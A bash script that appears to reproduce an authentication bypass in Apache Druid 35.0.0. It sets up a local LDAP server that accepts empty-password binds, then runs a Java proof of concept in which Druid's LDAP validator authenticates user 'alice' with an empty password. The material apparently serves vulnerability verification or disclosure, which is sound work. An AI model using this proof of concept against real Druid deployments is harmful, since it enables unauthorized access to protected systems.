#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

DUID_REPO="$ROOT/druid"
LDAP_PORT=1389

if [ ! -d "$DUID_REPO" ]; then
  git clone --depth 1 --branch 35.0.0 https://github.com/apache/druid.git "$DUID_REPO"
fi

# Install dependencies
sudo apt-get update
sudo apt-get install -y openjdk-17-jdk maven

export JAVA_HOME=/usr/lib/jvm/java-17-openjdk-arm64
export PATH="$JAVA_HOME/bin:$PATH"

# Fetch in-memory LDAP server dependency
mvn -q -Dartifact=com.unboundid:unboundid-ldapsdk:6.0.11 dependency:get
UNBOUNDID_JAR="/home/vscode/.m2/repository/com/unboundid/unboundid-ldapsdk/6.0.11/unboundid-ldapsdk-6.0.11.jar"

# Build in-memory LDAP server that accepts empty-password binds
LDAP_SRC="$LOGS/AnonLdapServer.java"
cat >"$LDAP_SRC" <<'JAVA'
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSimpleBindResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.BindResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.ldap.sdk.schema.Schema;
import java.net.InetAddress;

public class AnonLdapServer {
  public static void main(String[] args) throws Exception {
    InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=org");
    config.setSchema(Schema.getDefaultStandardSchema());
    config.setEnforceAttributeSyntaxCompliance(false);
    config.setEnforceSingleStructuralObjectClass(false);
    config.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig("default", InetAddress.getByName("0.0.0.0"), 1389, null));

    config.addInMemoryOperationInterceptor(new InMemoryOperationInterceptor() {
      @Override
      public void processSimpleBindResult(InMemoryInterceptedSimpleBindResult result) {
        String dn = result.getRequest().getBindDN();
        if ("cn=admin,dc=example,dc=org".equalsIgnoreCase(dn)) {
          result.setResult(new BindResult(result.getMessageID(), ResultCode.SUCCESS, null, null, null, null));
          return;
        }
        if (result.getRequest().getPassword() == null || result.getRequest().getPassword().getValueLength() == 0) {
          result.setResult(new BindResult(result.getMessageID(), ResultCode.SUCCESS, null, null, null, null));
        }
      }
    });

    InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);
    server.add(
        "dn: dc=example,dc=org",
        "objectClass: top",
        "objectClass: dcObject",
        "objectClass: organization",
        "o: Example",
        "dc: example"
    );
    server.add(
        "dn: cn=admin,dc=example,dc=org",
        "objectClass: organizationalRole",
        "cn: admin"
    );
    server.add(
        "dn: uid=alice,dc=example,dc=org",
        "objectClass: inetOrgPerson",
        "uid: alice",
        "sn: Alice",
        "cn: Alice",
        "userPassword: secret"
    );

    server.startListening();
    System.out.println("LDAP server started on 1389");
    Thread.sleep(Long.MAX_VALUE);
  }
}
JAVA

javac -cp "$UNBOUNDID_JAR" "$LDAP_SRC"

java -cp "$UNBOUNDID_JAR:$LOGS" AnonLdapServer >"$LOGS/ldap_server.log" 2>&1 &
LDAP_PID=$!
trap 'kill "$LDAP_PID" 2>/dev/null || true' EXIT
sleep 2

# Build druid-basic-security
cd "$DUID_REPO"
MVN_LOG="$LOGS/maven_build.log"
mvn -pl extensions-core/druid-basic-security -am -DskipTests package >"$MVN_LOG" 2>&1

MODULE_JAR="$DUID_REPO/extensions-core/druid-basic-security/target/druid-basic-security-35.0.0-SNAPSHOT.jar"
CORE_JAR="$DUID_REPO/server/target/druid-server-35.0.0-SNAPSHOT.jar"
METADATA_JAR="$DUID_REPO/processing/target/druid-processing-35.0.0-SNAPSHOT.jar"
SLF4J_JAR="$(ls /home/vscode/.m2/repository/org/slf4j/slf4j-api/*/slf4j-api-*.jar | sort | tail -n 1)"
JACKSON_ANN="$(ls /home/vscode/.m2/repository/com/fasterxml/jackson/core/jackson-annotations/*/jackson-annotations-*.jar | sort | tail -n 1)"
JACKSON_CORE="$(ls /home/vscode/.m2/repository/com/fasterxml/jackson/core/jackson-core/*/jackson-core-*.jar | sort | tail -n 1)"
GUAVA_JAR="$(ls /home/vscode/.m2/repository/com/google/guava/guava/*/guava-*.jar | sort | tail -n 1)"
FAILACCESS_JAR="$(ls /home/vscode/.m2/repository/com/google/guava/failureaccess/*/failureaccess-*.jar | sort | tail -n 1)"

CP="$METADATA_JAR:$CORE_JAR:$MODULE_JAR:$SLF4J_JAR:$JACKSON_ANN:$JACKSON_CORE:$GUAVA_JAR:$FAILACCESS_JAR"

POC_SRC="$LOGS/LDAPAnonBindPoC.java"
cat >"$POC_SRC" <<'JAVA'
import org.apache.druid.metadata.DefaultPasswordProvider;
import org.apache.druid.security.basic.BasicAuthLDAPConfig;
import org.apache.druid.security.basic.BasicAuthUtils;
import org.apache.druid.security.basic.authentication.validator.LDAPCredentialsValidator;
import org.apache.druid.server.security.AuthenticationResult;

public class LDAPAnonBindPoC {
  public static void main(String[] args) {
    BasicAuthLDAPConfig config = new BasicAuthLDAPConfig(
        "ldap://localhost:1389",
        "cn=admin,dc=example,dc=org",
        new DefaultPasswordProvider("admin"),
        "dc=example,dc=org",
        "(uid=%s)",
        "uid",
        BasicAuthUtils.DEFAULT_KEY_ITERATIONS,
        BasicAuthUtils.DEFAULT_CREDENTIAL_VERIFY_DURATION_SECONDS,
        BasicAuthUtils.DEFAULT_CREDENTIAL_MAX_DURATION_SECONDS,
        BasicAuthUtils.DEFAULT_CREDENTIAL_CACHE_SIZE
    );

    LDAPCredentialsValidator validator = new LDAPCredentialsValidator(
        config,
        new LDAPCredentialsValidator.LruBlockCache(3600, 3600, 100),
        null
    );

    try {
      AuthenticationResult result = validator.validateCredentials(
          "ldap",
          "ldap",
          "alice",
          "".toCharArray()
      );
      if (result == null) {
        System.err.println("AUTH_FAILED: result was null");
        System.exit(1);
      }
      System.out.println("AUTH_SUCCEEDED: " + result.getIdentity());
    } catch (Exception e) {
      System.err.println("AUTH_FAILED: " + e.getMessage());
      e.printStackTrace(System.err);
      System.exit(1);
    }
  }
}
JAVA

javac -cp "$CP" "$POC_SRC"

set +e
POC_OUTPUT=$(java -cp "$CP:$LOGS" LDAPAnonBindPoC 2>&1)
STATUS=$?
set -e

echo "$POC_OUTPUT" | tee "$LOGS/poc_output.txt"

if [ "$STATUS" -ne 0 ]; then
  echo "Vulnerability not reproduced" >&2
  exit 1
fi

if echo "$POC_OUTPUT" | grep -q "AUTH_SUCCEEDED"; then
  echo "Vulnerability reproduced: LDAP anonymous bind accepted empty password" | tee "$LOGS/result.txt"
  exit 0
fi

echo "Vulnerability not reproduced" >&2
exit 1
